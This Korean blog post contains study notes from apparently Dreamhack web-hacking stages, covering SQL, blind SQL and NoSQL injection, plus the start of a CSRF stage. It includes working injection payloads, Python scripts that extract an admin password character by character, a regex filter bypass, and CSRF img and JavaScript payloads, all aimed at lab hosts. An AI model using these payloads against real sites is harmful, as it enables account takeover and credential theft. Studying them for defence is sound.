STAGE 6 : SQL Injection

 

SQL Injection

 

> Background : Relational DBMS

데이터베이스 관리 시스템 (DBMS ; DataBase Management System)

: 새로운 정보를 기록하거나, 기록된 내용을 수정,삭제하는 역할을 한다. 

- 다수의 사람이 동시에 DBMS에 접근할 수 있고, 웹 서비스의 검색 기능과 같이 데이터를 조회할 수 있다.

종류 대표적인 DBMS
Relational(관계형) MySQL, MariaDB, PostgreSQL
Non-Relational(비관계형) MongoDB, CouchDB, Redis

- 관계형은 행과 열의 집합인 테이블 형식으로 데이터를 저장한다.

- 비관계형은 키-값 형태로값을 저정한다.

 

 

 

Relational DBMS (RDBMS)

: 새로운 정보를 기록하거나, 기록된 내용을 수정,삭제하는 역할을 한다. 

- 행(Row)과 열(Column)의 집합으로 구성된 테이블의 묶음 형식으로 데이터를 관리하고, 테이블 형식의 데이터를 조작할 수 있는 관계연산자를 제공한다.

- 관계 연산자는 SQL 쿼리 언어를 사용하고, 쿼리를 통해 테이블 형식의 데이터를 조작한다.

 

 

 

SQL

: RDBMS의 데이터를 정의하고 질의, 수정 등을 하기 위해 고안된 언어

- 구조화된 형태를 가지는 언어로 웹 어플리케이션이 DBMS와 상호작용할 때 사용된다.

- 기본적 구조 : 데이터베이스 -> 테이블 -> 데이터 구조

- 사용 목적과 행위에 따라 다양한 구조가 존재한다.

언어 설명
DDL (Data Definition Language) - 데이터를 정의하기 위한 언어
- 데이터를 저장하기 위한 스키마, 데이터베이스의 생성/수정/삭제 등의 행위를 수행
DML (Data Manipulation Language) - 데이터를 조작하기 위한 언어
- 실제 데이터베이스 내에 존재하는 데이터에 대해 조회/저장/수정/삭제 등의 행위를 수행

 

 

 

DDL

- 데이터를 다루기 위해 데이터베이스와 테이블을 생성해야 하며, DDL을 사용해야 한다.

- DDL의 CREATE 명령을 사용해 새로운 데이터베이스 또는 테이블을 생성할 수 있다.

 

- 데이터베이스 생성

CREATE DATABASE Dreamhack;

- 테이블 생성

USE Dreamhack;

CREATE TABLE Board(
	idx INT AUTO_INCREMENT,
    boardTitle VARCHAR(100) NOT NULL,
    boardContent VARCHAR(2000) NOT NULL,
    PRIMARY KEY(idx)
);

 

 

 

DML

- 생성된 테이블에 데이터를 추가하기 위해 DML을 사용한다.

- 새로운 데이터를 생성하는 INSERT, 데이터를 조회하는 SELECT, 데이터를 수정하는 UPDATE 등이 존재한다.

 

- 테이블 데이터 생성

INSERT INTO Board(boardTitle, boardContent, createdDate) Values('Hello', 'World!', Now());

- 테이블 데이터 조회

SELECT boardTitle, boardContent FROM Board Where idx=1;

- 테이블 데이터 변경

UPDATE Board SET boardContent='DreamHack!' Where idx=1;

 

 

 

> ServerSide : SQL Injection

SQL Injection

: DBMS에서 사용하는 쿼리를 임의로 조작해 데이터베이스의 정보를 획득하는 기법

- 이용자의 입력값이 애플리케이션의 처리과정에서 구조나 문법적인 데이터로 해석되어 발생하는 취약점

 

- 로그인할 때 애플리케이션이 DBMS에 질의하는 예시 쿼리

/*
아래 쿼리 질의는 다음과 같은 의미를 가지고 있습니다.
- SELECT: 조회 명령어
- *: 테이블의 모든 컬럼 조회
- FROM accounts: accounts 테이블 에서 데이터를 조회할 것이라고 지정
- WHERE user_id='dreamhack' and user_pw='password': user_id 컬럼이 dreamhack이고, 
user_pw 컬럼이 password인 데이터로 범위 지정
즉, 이를 해석하면 DBMS에 저장된 accounts 테이블에서 이용자의 아이디가 dreamhack이고, 
비밀번호가 password인 데이터를 조회
*/
SELECT * FROM accounts WHERE user_id='dreamhack' and user_pw='password'

이용자가 입력한 “dreamhack”과 “password” 문자열을 SQL 구문에 포함하는 것을 확인할 수 있다. 이렇게 이용자가 SQL 구문에 임의 문자열을 삽입하는 행위를 SQL Injection이라고 한다. SQL Injection이 발생하면 조작된 쿼리로 인증을 우회하거나, 데이터베이스의 정보를 유출할 수 있다.

 

 

- SQL Injection으로 조작한 쿼리문의 예시

/*
아래 쿼리 질의는 다음과 같은 의미를 가지고 있습니다.
- SELECT: 조회 명령어
- *: 테이블의 모든 컬럼 조회
- FROM accounts: accounts 테이블 에서 데이터를 조회할 것이라고 지정
- WHERE user_id='admin': user_id 컬럼이 admin인 데이터로 범위 지정
즉, 이를 해석하면 DBMS에 저장된 accounts 테이블에서 이용자의 아이디가 admin인 데이터를 조회
*/
SELECT * FROM accounts WHERE user_id='admin'

user_pw 조건문이 사라진 것을 확인할 수 있다. 조작한 쿼리를 통해 질의하면 DBMS는 ID가 admin인 계정의 비밀번호를 비교하지 않고 해당 계정의 정보를 반환하기 때문에 이용자는 admin 계정으로 로그인할 수 있다.

 

 

 

Blind SQL Injection

: 질의 결과를 이용자가 화면에서 직접 확인하지 못할 때 참/거짓 반환 결과로 데이터를 획득하는 공격 기법

 

> ascii
: 전달된 문자를 아스키 형태로 반환하는 함수
- ex) ascii('a') -> 97 반환

> substr
: 문자열에서 지정한 위치부터 길이까지의 값을 가져오는 함수
- 사용법 : substr(string, position, length)
- ex1) substr('ABCD', 1, 1) = 'A'

- ex2) substr('ABCD', 2, 2) = 'BC'

 

- Blind SQL Injection 공격 쿼리

# 첫 번째 글자 구하기 (아스키 114 = 'r', 115 = 's'')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=114-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=115-- ' and upw=''; # True
# 두 번째 글자 구하기 (아스키 115 = 's', 116 = 't')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=115-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=116-- ' and upw=''; # True

upw의 첫번째 값을 아스키 형태로 변환한 값이 114('r') 또는 115('s')인지 질의한다.

질의 결과는 로그인 성공 여부로 참/거짓을 판단할 수 있다.

만약 로그인이 실패할 경우 첫번째 문자가 'r'이 아님을 의미한다.

 

 

 

Blind SQL Injection 공격 스크립트

: 공격을 자동화하기 위한 스크립트

- requests 모듈 : 다양한 메소드를 사용해 HTTP 요청을 보낼 수 있으며 응답 또한 확인할 수 있는 모듈

 

- requests 모듈 GET 예제 코드

import requests
url = 'https://dreamhack.io/'
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'DREAMHACK_REQUEST'
}
params = {
    'test': 1,
}
for i in range(1, 5):
    c = requests.get(url + str(i), headers=headers, params=params)
    print(c.request.url)
    print(c.text)

requests.get은 GET 메소드를 사용해 HTTP 요청을 보내는 함수로, URL과 Header, Parameter와 함께 요청을 전송할 수 있다.

 

- requests 모듈 POST 예제 코드

import requests
url = 'https://dreamhack.io/'
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'DREAMHACK_REQUEST'
}
data = {
    'test': 1,
}
for i in range(1, 5):
    c = requests.post(url + str(i), headers=headers, data=data)
    print(c.text)

requests.post는 POST 메소드를 사용해 HTTP 요청을 보내는 함수로 URL과 Header, Body와 함께 요청을 전송할 수 있다.

 

- Blind SQL Injection 공격 스크립트

#!/usr/bin/python3
import requests
import string
url = 'http://example.com/login' # example URL
params = {
    'uid': '',
    'upw': ''
}
tc = string.ascii_letters + string.digits + string.punctuation # abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~
query = '''
admin' and ascii(substr(upw,{idx},1))={val}--
'''
password = ''
for idx in range(0, 20):
    for ch in tc:
        params['uid'] = query.format(idx=idx, val=ord(ch)).strip("\n")
        c = requests.get(url, params=params)
        print(c.request.url)
        if c.text.find("Login success") != -1:
            password += chr(ch)
            break
print(f"Password is {password}")

비밀번호에 포함될 수 있는 문자를 string모듈을 사용해 생성하고, 한바이트씩 모든 문자를 비교하는 반복문을 작성한다.

반복문 실행 중 반환 결과가 참일 경우에 페이지에 표시되는 'Login success' 문자열을 찾고, 해당 결과를 반환한 문자를 password 변수에 저장한다.

반복문을 마치면 'admin' 계정의 비밀번호를 알아낼 수 있다.

 

 

[함께실습] SQL Injection

> Exercise : SQL Injection

데이터베이스 구조

- 데이터베이스 구성 코드

DATABASE = "database.db" # 데이터베이스 파일명을 database.db로 설정
if os.path.exists(DATABASE) == False: # 데이터베이스 파일이 존재하지 않는 경우,
    db = sqlite3.connect(DATABASE) # 데이터베이스 파일 생성 및 연결
    db.execute('create table users(userid char(100), userpassword char(100));') # users 테이블 생성
    # users 테이블에 관리자와 guest 계정 생성
    db.execute(f'insert into users(userid, userpassword) values ("guest", "guest"), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}");')
    db.commit() # 쿼리 실행 확정
    db.close() # DB 연결 종료

 

- userid와 userpassword 칼럼은 각각 이용자의 ID와 PW를 저장한다.

- guest 계정은 이용자가 알 수 있지만 admin 계정은 랜덤하게 생성된 16바이트의 문자열이기 때문에 비밀번호를 예상할 수 없다.

 

- guest / guest로 로그인

 

> GET

- userid와 userpassword를 입력할 수 있는 로그인 페이지를 제공한다. userid와 password입력창에 guest를 입력하면 로그인을 수행할 수 있다.

 

> POST

- 이용자가 입력한 계정 정보가 데이터베이스에 존재하는지 확인한다. 이때, 로그인 계정이 admin일 경우 FLAG를 출력한다.

 

- 로그인 페이지 코드

@app.route('/login', methods=['GET', 'POST']) # Login 기능에 대해 GET과 POST HTTP 요청을 받아 처리함
def login(): # login 함수 선언
    if request.method == 'GET': # 이용자가 GET 메소드의 요청을 전달한 경우,
        return render_template('login.html') # 이용자에게 ID/PW를 요청받는 화면을 출력
    else: # POST 요청을 전달한 경우
        userid = request.form.get('userid') # 이용자의 입력값인 userid를 받은 뒤,
        userpassword = request.form.get('userpassword') # 이용자의 입력값인 userpassword를 받고
        # users 테이블에서 이용자가 입력한 userid와 userpassword가 일치하는 회원 정보를 불러옴
        res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
        if res: # 쿼리 결과가 존재하는 경우
            userid = res[0] # 로그인할 계정을 해당 쿼리 결과의 결과에서 불러와 사용
            if userid == 'admin': # 이 때, 로그인 계정이 관리자 계정인 경우
                return f'hello {userid} flag is {FLAG}' # flag를 출력
            # 관리자 계정이 아닌 경우, 웰컴 메시지만 출력
            return f'<script>alert("hello {userid}");history.go(-1);</script>'
        # 일치하는 회원 정보가 없는 경우 로그인 실패 메시지 출력
        return '<script>alert("wrong");history.go(-1);</script>'

 

 

 

취약점 분석

- login과 query_db 함수

def login(): # login 함수 선언
    ...
    userid = request.form.get('userid') # 이용자의 입력값인 userid를 받은 뒤,
    userpassword = request.form.get('userpassword') # 이용자의 입력값인 userpassword를 받고
    # users 테이블에서 이용자가 입력한 userid와 userpassword가 일치하는 회원 정보를 불러옴
    res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
    ...
    
def query_db(query, one=True): # query_db 함수 선언
    cur = get_db().execute(query) # 연결된 데이터베이스에 쿼리문을 질의
    rv = cur.fetchall() # 쿼리문 내용을 받아오기
    cur.close() # 데이터베이스 연결 종료
    return (rv[0] if rv else None) if one else rv # 쿼리문 질의 내용에 대한 결과를 반환

userid와 userpassword를 이용자에게 입력받고, 동적으로 쿼리문을 생성한 뒤 query_db 함수에서 SQLite에 질의한다. 이렇게 동적으로 생성한 쿼리를 RawQuery라고 하는데, 이를 생성할 때 이용자의 입력값이 쿼리문에 포함되면 SQL Injection 취약점에 노출될 수 있다. 이용자의 입력값을 검사하는 과정이 없기 때문에 임의의 쿼리문을 userid 또는 userpassword에 삽입해 SQL Injection 공격을 수행할 수 있다.

 

 

 

익스플로잇

- 로그인 쿼리

SELECT * FROM users WHERE userid="{userid}" AND userpassword="{userpassword}";

 

- SQL Injection 공격 쿼리문 작성

/*
ID: admin, PW: DUMMY
userid 검색 조건만을 처리하도록, 뒤의 내용은 주석처리하는 방식
*/
SELECT * FROM users WHERE userid="admin"-- " AND userpassword="DUMMY"
/*
ID: admin" or "1 , PW: DUMMY
userid 검색 조건 뒤에 OR (또는) 조건을 추가하여 뒷 내용이 무엇이든, admin 이 반환되도록 하는 방식
*/
SELECT * FROM users WHERE userid="admin" or "1" AND userpassword="DUMMY"
/*
ID: admin, PW: DUMMY" or userid="admin
userid 검색 조건에 admin을 입력하고, userpassword 조건에 임의 값을 입력한 뒤 or 조건을 추가하여 userid가 admin인 것을 반환하도록 하는 방식
*/
SELECT * FROM users WHERE userid="admin" AND userpassword="DUMMY" or userid="admin"
/*
ID: " or 1 LIMIT 1,1-- , PW: DUMMY
userid 검색 조건 뒤에 or 1을 추가하여, 테이블의 모든 내용을 반환토록 하고 LIMIT 절을 이용해 두 번째 Row인 admin을 반환토록 하는 방식
*/
SELECT * FROM users WHERE userid="" or 1 LIMIT 1,1-- " AND userpassword="DUMMY"

 

 

 

 

관리자 계정 admin으로 로그인하도록 admin"-- 을 입력해주고, password는 아무 입력이나 넣어주었다.

 

 

 

 

 

> Exercise : Blind SQL Injection

익스플로잇

- 비밀번호를 구성할 수 있는 문자를 출력 가능한 아스키 문자로 제한했을 때, 한 자리에 들어갈 수 있는 문자의 종류는 94(0x20 ~ 0x7E)개이다. 쿼리를 잘 이용하면 각 자리를 따로 조사할 수 있으므로, 실제로 전송해야 할 최대 쿼리의 개수는 940 = 94 X 10로 줄어든다. 이분 탐색 알고리즘을 적용하면 log(2)94 X 10 = 65로 더욱 축소된다. 그래도 직접 시도하기엔 많기 때문에 자동화 스크립트를 작성하는 것이 중요하다.

 

- 로그인 요청의 폼 구조 파악

쿼리를 자동화하려면, 로그인할 때 전송하는 POST 데이터의 구조를 파악해야 한다.

1. 개발자 도구 > 네트워크 탭 > Preserve log
2. userid에 guest, password에 guest를 입력하고 로그인 클릭
3. 메세지 목록에서 /login으로 전송된 POST 요청 찾기
4. 하단의 Form Data 확인

 

- 비밀번호 길이 파악

#!/usr/bin/python3.9
import requests
import sys
from urllib.parse import urljoin
class Solver:
    """Solver for simple_SQLi challenge"""
    # initialization
    def __init__(self, port: str) -> None:
        self._chall_url = f"http://host1.dreamhack.games:{port}"
        self._login_url = urljoin(self._chall_url, "login")
    # base HTTP methods
    def _login(self, userid: str, userpassword: str) -> bool:
        login_data = {
            "userid": userid,
            "userpassword": userpassword
        }
        resp = requests.post(self._login_url, data=login_data)
        return resp
    # base sqli methods
    def _sqli(self, query: str) -> requests.Response:
        resp = self._login(f"\" or {query}-- ", "hi")
        return resp
    def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
        while 1:
            mid = (low+high) // 2
            if low+1 >= high:
                break
            query = query_tmpl.format(val=mid)
            if "hello" in self._sqli(query).text:
                high = mid
            else:
                low = mid
        return mid
    # attack methods
    def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
        query_tmpl = f"((SELECT LENGTH(userpassword) WHERE userid=\"{user}\")<{{val}})"
        pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
        return pw_len
    def solve(self):
        pw_len = solver._find_password_length("admin")
        print(f"Length of admin password is: {pw_len}")
if __name__ == "__main__":
    port = sys.argv[1]
    solver = Solver(port)
    solver.solve()

 

 

- 비밀번호 획득

#!/usr/bin/python3.9
import requests
import sys
from urllib.parse import urljoin
class Solver:
    """Solver for simple_SQLi challenge"""
    # initialization
    def __init__(self, port: str) -> None:
        self._chall_url = f"http://host1.dreamhack.games:{port}"
        self._login_url = urljoin(self._chall_url, "login")
    # base HTTP methods
    def _login(self, userid: str, userpassword: str) -> requests.Response:
        login_data = {
            "userid": userid,
            "userpassword": userpassword
        }
        resp = requests.post(self._login_url, data=login_data)
        return resp
    # base sqli methods
    def _sqli(self, query: str) -> requests.Response:
        resp = self._login(f"\" or {query}-- ", "hi")
        return resp
    def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
        while 1:
            mid = (low+high) // 2
            if low+1 >= high:
                break
            query = query_tmpl.format(val=mid)
            if "hello" in self._sqli(query).text:
                high = mid
            else:
                low = mid
        return mid
    # attack methods
    def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
        query_tmpl = f"((SELECT LENGTH(userpassword) WHERE userid=\"{user}\") < {{val}})"
        pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
        return pw_len
    def _find_password(self, user: str, pw_len: int) -> str:
        pw = ''
        for idx in range(1, pw_len+1):
            query_tmpl = f"((SELECT SUBSTR(userpassword,{idx},1) WHERE userid=\"{user}\") < CHAR({{val}}))"
            pw += chr(self._sqli_lt_binsearch(query_tmpl, 0x2f, 0x7e))
            print(f"{idx}. {pw}")
        return pw
    def solve(self) -> None:
        # Find the length of admin password
        pw_len = solver._find_password_length("admin")
        print(f"Length of the admin password is: {pw_len}")
        # Find the admin password
        print("Finding password:")
        pw = solver._find_password("admin", pw_len)
        print(f"Password of the admin is: {pw}")
if __name__ == "__main__":
    port = sys.argv[1]
    solver = Solver(port)
    solver.solve()

 

 

 

 

 

NoSQL Injection

> Background : Non-Relational DBMS

비관계형 데이터베이스 (NoSQL)

NoSQL

: SQL을 사용하지 않고 복잡하지 않은 데이터를 저장해 단순 검색 및 추가 검색 작업을 위해 최적화된 저장 공간인 것이 큰 특징

 

MongoDB

: JSON 형태인 document를 저장하는 DB

1. 스키마를 따로 정의하지 않아 각 Collection에 대한 정의가 필요하지 않는다.
2. JSON 형식으로 쿼리를 작성할 수 있다.

3. _id 필드가 Primary Key 역할을 한다.

 

- status가 "A", qty가 30미만인 데이터 조회하는 쿼리

 

- MongoDB 사용예시

 

- MongoDB 연산자

> Comparision

 

> Logical

 

> Element

 

> Evaluation

 

 

 

- 기본 문법

> SELECT

 

> INSERT

 

> DELETE

 

> UPDATE

 

 

Redis

- 키-값(Key-Value)의 쌍을 가진 데이터를 저장

- 메모리 기반의 DBMS; 메모리를 사용해 데이터를 저장하고 접근하기 때문에 읽고 쓰는 작업이 상대적으로 빠르다.

- 다양한 서비스에서 임시 데이터를 캐싱하는 용도로 주로 사용

- redis 명령어 사용 예시

Redis에서 데이터를 추가하고 조회하는 명령어의 예시이다.

 

- 데이터 조회 및 조작 명령어

 

- 관리 명령어

 

CouchDB

- JSON 형태인 document를 저장

- 웹 기반의 DBMS로 REST API 형식으로 요청을 처리

메소드 기능 설명
POST 새로운 레코드를 추가한다.
GET 레코드를 조회한다.
PUT 레코드를 업데이트한다.
DELETE 레코드를 삭제한다.

 

- 특수 구성 요소

> SERVER

 

> Database

 

 

 

> ServerSide : NoSQL Injection

NoSQL Injection

: 주로 이용자의 입력값에 대한 타임 검증이 불충분할 때 발생한다. 

- 오브젝트, 배열 타입 사용 가능

- 오브젝트 타입의 입력값을 처리할 때에는 쿼리 연산자를 사용할 수 있는데, 이를 통해 다양한 행위가 가능하다.

 

- express 데이터 처리 방식

const express = require('express');
const app = express();
app.get('/', function(req,res) {
    console.log('data:', req.query.data);
    console.log('type:', typeof req.query.data);
    res.send('hello world');
});
const server = app.listen(3000, function(){
    console.log('app.listen');
});

NodeJS의 Express 프레임워크로 개발된 예제 코드이다.

이용자의 입력값과 타입을 출력하는데 req.query의 타입이 문자열로 지정되어 있지 않기 때문에 문자열 외의 타입이 입력될 수 있다.

 

- 실행 결과

 

- MongoDB NoSQL Injection Example

const express = require('express');
const app = express();
const mongoose = require('mongoose');
const db = mongoose.connection;
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });
app.get('/query', function(req,res) {
    db.collection('user').find({
        'uid': req.query.uid,
        'upw': req.query.upw
    }).toArray(function(err, result) {
        if (err) throw err;
        res.send(result);
  });
});
const server = app.listen(3000, function(){
    console.log('app.listen');
});

 ⋅ user 콜렉션에서 이용자가 입력한 uid와 upw에 해당하는 데이터를 찾고, 출력하는 예제 코드이다.

 ⋅ 이용자의 입력값에 대해 타임을 검증하지 않기 때문에 오브젝트 타입의 값을 입력할 수 있다.

 ⋅ 오브젝트 타입의 값을 입력할 수 있다면 연산자를 사용할 수 있다.

 ⋅ $ne 연산자는 not equal의 약자로, 입력한 데이터와 일치하지 않는 데이터를 반환한다.

 ⋅ 따라서 공격자는 계정 정보를 모르더라도 다음과 같이 입력해 해당 정보를 알아낼 수 있다.

 

 ⋅ $ne 연산자를 사용해 uid와 upw가 'a'가 아닌 데이터를 조회하는 공격 쿼리와 실행 결과이다.

 

 

Blind NoSQL Injection

- MongDB에서는 $regex, $where 연산자를 사용해 Blind NoSQL Injection을 할 수 있다.

- 연산자

 

- $regex

: 정규식을 사용해 식과 일치하는 데이터를 조회한다.

 ⋅ regex 연산자를 활용한 Blind NoSQL Injection

 ⋅ upw에서 각 문자로 시작하는 데이터를 조회하는 쿼리의 예시

 

- $where

: 인자로 전달한 Javascript 표현식을 만족하는 데이터를 조회한다. 아래 예시를 살펴보면, 해당 연산자는 field에서 사용할 수 없는 것을 확인할 수 있다.

 

 ⋅ substring

: 해당 연산자로 Javascript 표현식을 입력하면, Blind SQL Injection에서 한 글자씩 비교했던 것과 같이 데이터를 알아낼 수 있다. 아래 예시는 upw의 첫 글자를 비교해 데이터를 알아내는 쿼리이다.

 

 ⋅ Sleep 함수를 통한 Time based Injection

: MongoDB는 sleep 함수를 제공한다. 표현식과 함께 사용하면 지연 시간을 통해 참/거짓 결과를 확인할 수 있다. 아래 예시는 upw의 첫 글자를 비교하고, 해당 표현식이 참을 반환할 때 sleep 함수를 실행하는 쿼리이다.

 

 ⋅ Error based Injection

: Error based Injection은 에러를 기반으로 데이터를 알아내는 기법으로, 올바르지 않은 문법을 입력해 고의로 에러를 발생시킨다. 아래의 예시를 살펴보면, upw의 첫 글자가 'g' 문자인 경우 올바르지 않은 문법인 asdf를 실행하면서 에러가 발생한다.

 

 

[함께실습] NoSQL Injection

- login 페이지

 app.get('/login', function(req, res) {
    if(filter(req.query)){ // filter 함수 실행
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query; 
    db.collection('user').findOne({ // db에서 uid, upw로 검색
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){ 
            res.send('err');
        }else if(result){ 
            res.send(result['uid']); 
        }else{
            res.send('undefined'); 
        }
    })
});

 ⋅ 이용자가 쿼리로 전달한 uid와 upw로 데이터베이스를 검색하고, 찾아낸 이용자의 정보를 반환한다.

 

- filter 함수

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];
filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

 ⋅ 일부 문자열을 필터링하는 함수이다. GET 핸들러를 살펴보면, 이용자의 요청에 포함된 쿼리를 filter함수로 필터링한다. 해당 함수는 admin, dh, admi라는 문자열이 있을 때 true를 반환한다.

 

> 취약점 분석

- Query & Type

const express = require('express');
const app = express();
app.get('/', function(req,res) {
    console.log('data:', req.query.data);
    console.log('type:', typeof req.query.data);
    res.send('hello world');
});
const server = app.listen(3000, function(){
    console.log('app.listen');
});

 ⋅ 이용자가 전달한 쿼리의 값과 타입을 반환하는 코드이다. 아래 사진과 같이 string외에 다양한 형태의 object도 쿼리로 전달될 수 있다.

 

- login 페이지

    const {uid, upw} = req.query; // 이용자가 전송한 uid, upw 입력값을 가져옴
    db.collection('user').findOne({ // db에서 uid, upw로 검색
        'uid': uid,
        'upw': upw,
    }

 ⋅ MongoDB에 쿼리를 전달하는 부분을 살펴보면, 쿼리 변수의 타입을 검사히지 않는다. 이로 인해 NoSQL Injection 공격이 발생할 수 있다.

 

> 익스플로잇

로그인 페이지에서 로그인을 성공했을 때, 이용자의 uid만 출력한다. 따라서 Blind NoSQL Injection을 통해 admin의 upw를 획득해야 한다.

 

1. Blind NoSQL Injection Payload

MongoDB의 $regex연산을 사용하면 정규표현식을 이용해 데이터를 검색할 수 있다. upw가 일치하는 경우 uid, 아닌 경우 undefined 문자열이 출력되는 것을 통해 쿼리의 참과 거짓을 확인할 수 있다.

http://host3.dreamhack.games:8985/login?uid=guest&upw[$regex]=.*

 

 

2. filter 우회

filter 함수가 특정 문자열을 필터링하고 있지만, 정규표현식에서 임의 문자를 의미하는 .을 이용하여 쉽게 우회할 수 있다.

http://host3.dreamhack.games:8985/login?uid[$regex]=ad.in&upw[$regex]=D.{*

 

 

3. Exploit Code 작성

정규표현식을 통해 한 글자씩 알아내야 하므로, 여러번 쿼리를 전달해야 한다. 따라서 익스플로잇 스크립트를 작성해야 한다.

import requests, string
HOST = 'http://host3.dreamhack.games:8985'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'
flag = ''
for i in range(32):
    for ch in ALPHANUMERIC:
        response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
        if response.text == SUCCESS:
            flag += ch
            break
    print(f'FLAG: DH{{{flag}}}')

 

'Web Hacking > Dreamhack' 카테고리의 다른 글

[Dreamhack] Web Hacking STAGE 8  (0) 2022.08.18
[Dreamhack] Web Hacking STAGE 7  (0) 2022.08.09
[Dreamhack] Web Hacking STAGE 5  (0) 2022.07.25
[Dreamhack] Web Hacking STAGE 4  (0) 2022.07.19
[Dreamhack] Web Hacking STAGE 3  (0) 2022.07.13

STAGE 5 : Cross Site Request Forgery (CSRF)

CSFR

 

> ClientSide : CSFR

Cross Site Request Forgery (CSRF)

: 임의 이용자의 권한으로 임의 주소에 HTTP 요청을 보낼 수 있는 취약점, 공격자는 임의 이용자의 권한으로 서비스 기능을 사용해 이득을 취할 수 있다. 

ex ) 이용자의 계정으로 임의 금액을 송금해 금전적인 이득을 취하거나 비밀번호를 변경해 계정을 탈취하고, 관리자 계정을 공격해 공지사항 작성 등으로 혼란을 야기할 수 있다.

 

- 송금 기능 ( ⊃ CSRF 취약점 )

# 이용자가 /sendmoney에 접속했을때 아래와 같은 송금 기능을 웹 서비스가 실행함.
@app.route('/sendmoney')
def sendmoney(name):
    # 송금을 받는 사람과 금액을 입력받음.
    to_user = request.args.get('to')
	amount = int(request.args.get('amount'))
	
	# 송금 기능 실행 후, 결과 반환	
	success_status = send_money(to_user, amount)
	
	# 송금이 성공했을 때,
	if success_status:
	    # 성공 메시지 출력
		return "Send success."
	# 송금이 실패했을 때,
	else:
	    # 실패 메시지 출력
		return "Send fail."

-> 이용자로부터 예금주와 금액을 입력받고 송금을 수행한다. 이 때 계좌 비밀번호, OTP 등을 사용하지 않기 때문에 로그인한 이용자는 추가 인증 정보 없이 해당 기능을 이용할 수 있다. 

 

- Cross Site Request Forgery 동작

 ⋅ CSRF 공격에 성공하기 위해서는 공격자가 작성한 악성 스크립트(HTTP요청을 보내는 코드)를 이용자가 실행해야 한다. 이는 공격자가 이용자에게 메일을 보내거나 게시판에 글을 작성해 이용자가 이를 조회하도록 유도하는 방법이 있다.

 ⋅ CSRF 공격 스크립트는 HTML, Javascript를 통해 작성할 수 있다. 아래 사진을 HTML로 작성한 코드이다.

 ⋅ img, form 태그를 이용해 HTTP 요청을 보내면 HTTP 헤더인 Cookie에 이용자의 인증 정보가 포함된다.

 

<img src='http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337' width=0px height=0px>

 ⋅ 위는 img태그를 사용한 스크립트이다. 해당 태그는 이미지 크기를 줄일 수 있는 옵션을 제공한다. 이를 활용하면 이용자에게 들키지 않고 임의 페이지에 요청을 보낼 수 있다.

 

/* 새 창 띄우기 */
window.open('http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337');
/* 현재 창 주소 옮기기 */
location.href = 'http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337';
location.replace('http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337');

 ⋅ 위는 Javascript로 작성된 스크립트이다. 새로운 창을 띄우고, 현재 창의 주소를 옮기는 등의 행위가 가능하다.

 

  공통점 차이점
XSS 두 개의 취약점은 모두 클라이언트를 대상으로 하는 공격이며, 이용자가 악성 스크립트가 포함된 페이지에 접속하도록 유도해야 한다. 인증정보인 세션 및 쿠키 탈취를 목적으로 하는 공격이며, 공격할 사이트의 오리진에서 스크립트를 실행시킨다.
CSRF 이용자가 임의 페이지에 HTTP요청을 보내는 것을 목적으로 하는 공격이다. 또한, 공격자는 악성스크립트가 포함된 페이지에 접근한 이용자의 권한으로 웹 서비스의 임의 기능을 실행할 수 있다.

 

 

 

[혼자실습] CSRF

 

먼저 guest로 로그인을 해주었더니 아래와 같은 문구가 떴다.

 

 

#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
from selenium import webdriver
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"

users = {
    'guest': 'guest',
    'admin': FLAG
}

session_storage = {}

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        print(str(e))
        # return str(e)
        return False
    driver.quit()
    return True


def check_csrf(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)


@app.route("/")
def index():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')

    return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not an admin"}')


@app.route("/vuln")
def vuln():
